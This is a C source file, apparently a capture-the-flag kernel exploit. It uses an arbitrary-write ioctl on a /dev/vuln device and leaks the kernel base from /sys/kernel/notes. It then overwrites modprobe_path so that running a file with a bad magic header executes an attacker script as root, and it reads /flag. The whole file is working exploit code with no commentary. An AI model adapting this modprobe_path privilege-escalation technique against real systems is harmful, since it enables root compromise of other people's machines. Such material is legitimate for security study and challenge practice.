1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138
| #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <string.h> #include <stdint.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sched.h> #include <ctype.h> #include <pthread.h> #include <sys/types.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/shm.h> #include <sys/wait.h> #include <linux/keyctl.h> #include <sys/user.h> #include <sys/ptrace.h> #include <stddef.h> #include <sys/utsname.h> #include <stdbool.h> #include <sys/prctl.h> #include <sys/resource.h> #include <linux/userfaultfd.h>
size_t modprobe_path = 0xffffffff82e8b920;
struct node{ size_t addr; size_t vul; }; struct node vuln;
void err_exit(char *msg){ printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg); sleep(5); exit(EXIT_FAILURE); } void info(char *msg){ printf("\033[32m\033[1m[+] %s\n\033[0m", msg); } void hexx(char *msg, size_t value){ printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value); } void binary_dump(char *desc, void *addr, int len) { uint64_t *buf64 = (uint64_t *) addr; uint8_t *buf8 = (uint8_t *) addr; if (desc != NULL) { printf("\033[33m[*] %s:\n\033[0m", desc); } for (int i = 0; i < len / 8; i += 4) { printf(" %04x", i * 8); for (int j = 0; j < 4; j++) { i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" "); } printf(" "); for (int j = 0; j < 32 && j + i * 8 < len; j++) { printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.'); } puts(""); } }
void bind_core(int core){ cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
int fd; void arb_write(size_t addr, size_t vul){ struct node thisNote; thisNote.addr = addr; thisNote.vul = vul; ioctl(fd, 0, &thisNote); }
int main(int argc, char** argv, char** env) { size_t leak, kernel_base; char data[0x200];
bind_core(0);
fd = open("/dev/vuln",O_RDONLY); if (fd < 0){ err_exit("open device failed!"); }
int note_fd = open("/sys/kernel/notes", O_RDONLY); read(note_fd, data, 0x100); binary_dump("/sys/kernel/notes", data, 0x100);
memcpy(&leak, &data[0x84], 8); hexx("leak", leak); kernel_base = leak - 0x22961c0; hexx("kernel_base", kernel_base); size_t kernel_offset = kernel_base - 0xffffffff81000000; hexx("kernel_offset", kernel_offset);
modprobe_path += kernel_offset;
arb_write(modprobe_path, 0x7465672f706d742f); arb_write(modprobe_path + 8, 0x6c6c656873);
puts("# make fake file magic not found"); system("echo '#!/bin/sh\nchmod 777 /flag'>/tmp/getshell"); system("chmod +x /tmp/getshell");
system("echo -e '\\xff\\xff\\xff\\xff'>/tmp/fake"); system("chmod +x /tmp/fake"); system("/tmp/fake");
puts("# get flag"); int flag_fd = open("/flag",O_RDONLY); if (flag_fd < 0){ err_exit("open flag failed!"); } read(flag_fd, data, 0x30); printf("[*] flag is %s\n",data);
return 0; }
|